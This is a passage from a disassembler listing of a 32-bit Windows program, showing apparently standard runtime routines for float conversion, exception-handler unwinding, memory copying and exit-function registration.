push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41C73C: ; CODE XREF: sub_41C679+84j
call sub_421014
add esp, 1Ch
loc_41C744: ; CODE XREF: sub_41C679+59j
; sub_41C679+67j ...
pop esi
pop ebx
leave
retn
sub_41C679 endp
; =============== S U B R O U T I N E =======================================
sub_41C748 proc near ; CODE XREF: ___:0041B78Dp
; sub_4218B2+21p
; DATA XREF: ...
call sub_41C760
call sub_4218B2
mov dword_4DB2CC, eax
call sub_421862
fnclex
retn
sub_41C748 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41C760 proc near ; CODE XREF: sub_41C748p
mov eax, offset sub_421CA0
mov off_43C8A4, offset sub_421935
mov off_43C8A0, eax
mov off_43C8A8, offset sub_42199B
mov off_43C8AC, offset sub_4218DB
mov off_43C8B0, offset sub_421983
mov off_43C8B4, eax
retn
sub_41C760 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp
; sub_40D030+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41C798 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C7BF(double)
sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p
; ___:0040DD3Cp
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A2A8
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C845
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C828
cmp eax, 2
jle short loc_41C81A
cmp eax, 3
jnz short loc_41C828
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C828: ; CODE XREF: sub_41C7BF+3Aj
; sub_41C7BF+44j
fld [ebp+arg_0]
fadd dbl_427718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41C882
; ---------------------------------------------------------------------------
loc_41C845: ; CODE XREF: sub_41C7BF+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C868
loc_41C85A: ; CODE XREF: sub_41C7BF+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C868: ; CODE XREF: sub_41C7BF+99j
test bl, 20h
jnz short loc_41C85A
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41C882: ; CODE XREF: sub_41C7BF+84j
call sub_421014
add esp, 1Ch
loc_41C88A: ; CODE XREF: sub_41C7BF+59j
; sub_41C7BF+67j ...
pop esi
pop ebx
leave
retn
sub_41C7BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C88E proc near ; CODE XREF: ___:00422182p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41C88E endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p
; sub_422486+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp
; sub_422111:loc_422142p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41C8F8
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_42675C
sub_41C8D0 endp
; ---------------------------------------------------------------------------
loc_41C8F8: ; DATA XREF: sub_41C8D0+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_41C91F: ; CODE XREF: ___:00426DFCj
; ___:00426E19j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_421D16
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C955 proc near ; CODE XREF: sub_42218C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41C9A9
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422510
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41C955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
pop ebp
retn
sub_41C9A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9CE proc near ; CODE XREF: sub_421F58+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41CA82
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41CA54
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DB324
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41CA54: ; DATA XREF: sub_41C9CE+3Co
cmp [ebp+var_4], 0
jz short loc_41CA71
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41CA7A
; ---------------------------------------------------------------------------
loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41C9CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41CAA5
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41CAF2
; ---------------------------------------------------------------------------
loc_41CAA5: ; CODE XREF: sub_41CA82+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41CAE3
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41C8D0
; ---------------------------------------------------------------------------
loc_41CAE3: ; CODE XREF: sub_41CA82+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41CAF2: ; CODE XREF: sub_41CA82+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CA82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p
; sub_421F58+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41CB4E
loc_41CB15: ; CODE XREF: sub_41CAF7+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB1F
call sub_4225B2
loc_41CB1F: ; CODE XREF: sub_41CAF7+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41CB34
cmp ecx, [eax+8]
jle short loc_41CB39
loc_41CB34: ; CODE XREF: sub_41CAF7+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB45
loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41CB45: ; CODE XREF: sub_41CAF7+40j
cmp [ebp+arg_4], 0
jge short loc_41CB15
mov eax, [ebp+var_4]
loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41CB62
cmp esi, eax
jbe short loc_41CB67
loc_41CB62: ; CODE XREF: sub_41CAF7+65j
call sub_4225B2
loc_41CB67: ; CODE XREF: sub_41CAF7+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41CAF7 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_41CB8C
push [ebp+arg_0]
call sub_42675C
sub_41CB74 endp
; =============== S U B R O U T I N E =======================================
sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CB8C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao
; sub_41CC1E+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41CBB5
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41CBB5: ; CODE XREF: sub_41CB94+10j
retn
sub_41CB94 endp
; =============== S U B R O U T I N E =======================================
sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp
; sub_4234B8+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41CB94
push large dword ptr fs:0
mov large fs:0, esp
loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41CC10
cmp esi, [esp+1Ch+arg_4]
jz short loc_41CC10
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41CC0E
push 101h
mov eax, [ebx+esi*4+8]
call sub_41CC4A
call dword ptr [ebx+esi*4+8]
loc_41CC0E: ; CODE XREF: sub_41CBB6+44j
jmp short loc_41CBD3
; ---------------------------------------------------------------------------
loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj
; sub_41CBB6+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41CBB6 endp
; =============== S U B R O U T I N E =======================================
sub_41CC1E proc near ; CODE XREF: sub_422252+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41CB94
jnz short locret_41CC40
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41CC40
mov eax, 1
locret_41CC40: ; CODE XREF: sub_41CC1E+10j
; sub_41CC1E+1Bj
retn
sub_41CC1E endp
; =============== S U B R O U T I N E =======================================
sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep
; sub_422510+40p
push ebx
push ecx
mov ebx, offset dword_43A2AC
jmp short loc_41CC54
sub_41CC41 endp
; =============== S U B R O U T I N E =======================================
sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp
; sub_4234B8+78p
push ebx
push ecx
mov ebx, offset dword_43A2AC
mov ecx, [ebp+8]
loc_41CC54: ; CODE XREF: sub_41CC41+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41CC4A endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p
; sub_40D21E+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41CC64 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p
; ___:004264F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B0B1
pop ecx
retn
sub_41CC83 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap
; sub_41DEA2+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CCB0
cmp edi, eax
jb loc_41CE28
loc_41CCB0: ; CODE XREF: sub_41CC90+16j
test edi, 3
jnz short loc_41CCCC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
loc_41CCCC: ; CODE XREF: sub_41CC90+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CCE4
and eax, 3
add ecx, eax
jmp dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CCE4: ; CODE XREF: sub_41CC90+46j
jmp dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CCEC: ; CODE XREF: sub_41CC90+31j
; sub_41CC90+8Ej ...
jmp off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_41CD00
dd offset loc_41CD2C
dd offset loc_41CD50
; ---------------------------------------------------------------------------
loc_41CD00: ; DATA XREF: sub_41CC90+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD2C: ; DATA XREF: sub_41CC90+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CD50: ; DATA XREF: sub_41CC90+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr
dd offset loc_41CDBC
dd offset loc_41CDB4
dd offset loc_41CDAC
dd offset loc_41CDA4
dd offset loc_41CD9C
dd offset loc_41CD94
dd offset loc_41CD8C
; ---------------------------------------------------------------------------
loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90:off_41CD6Co
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r
; sub_41CC90+92r ...
dd offset loc_41CDF0
dd offset loc_41CDFC
dd offset loc_41CE10
; ---------------------------------------------------------------------------
loc_41CDE8: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CDF0: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDFC: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE10: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE28: ; CODE XREF: sub_41CC90+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CE5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CE50: ; CODE XREF: sub_41CC90+1B1j
; sub_41CC90+208j ...
neg ecx
jmp off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CE74
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CE74: ; CODE XREF: sub_41CC90+1D6j
; DATA XREF: sub_41CC90+1DDr
jmp off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CE87+1
dd offset loc_41CEA8
; ---------------------------------------------------------------------------
ror dh, 1
inc ecx
loc_41CE87: ; DATA XREF: sub_41CC90+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF24
dd offset loc_41CF2C
dd offset loc_41CF34
dd offset loc_41CF3C
dd offset loc_41CF44
dd offset loc_41CF4C
dd offset loc_41CF54
off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------
loc_41CF24: ; DATA XREF: sub_41CC90+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CF2C: ; DATA XREF: sub_41CC90+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CF34: ; DATA XREF: sub_41CC90+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CF3C: ; DATA XREF: sub_41CC90+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CF44: ; DATA XREF: sub_41CC90+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CF4C: ; DATA XREF: sub_41CC90+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CF54: ; DATA XREF: sub_41CC90+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CF67: ; CODE XREF: sub_41CC90+1C2j
; DATA XREF: sub_41CC90:off_41CF20o
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r
; sub_41CC90:loc_41CE74r ...
dd offset loc_41CF88
dd offset loc_41CF98
dd offset loc_41CFAC
; ---------------------------------------------------------------------------
loc_41CF80: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF88: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF98: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CC90 endp
; =============== S U B R O U T I N E =======================================
sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p
; sub_40D78B+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41CFC5 endp
; =============== S U B R O U T I N E =======================================
sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p
arg_0 = dword ptr 4
push esi
push dword_4DC91C
call sub_422608
mov edx, dword_4DC91C
pop ecx
mov ecx, dword_4DC918
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D032
push edx
call sub_422608
add eax, 10h
push eax
push dword_4DC91C
call sub_41B202
add esp, 0Ch
test eax, eax
jnz short loc_41D015
retn
; ---------------------------------------------------------------------------
loc_41D015: ; CODE XREF: sub_41CFD3+3Fj
mov ecx, dword_4DC918
sub ecx, dword_4DC91C
mov dword_4DC91C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DC918, ecx
loc_41D032: ; CODE XREF: sub_41CFD3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DC918, 4
retn
sub_41CFD3 endp
; =============== S U B R O U T I N E =======================================
sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41CFD3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41D040 endp
; =============== S U B R O U T I N E =======================================
sub_41D052 proc near ; DATA XREF: ___:0042901Co
push 80h
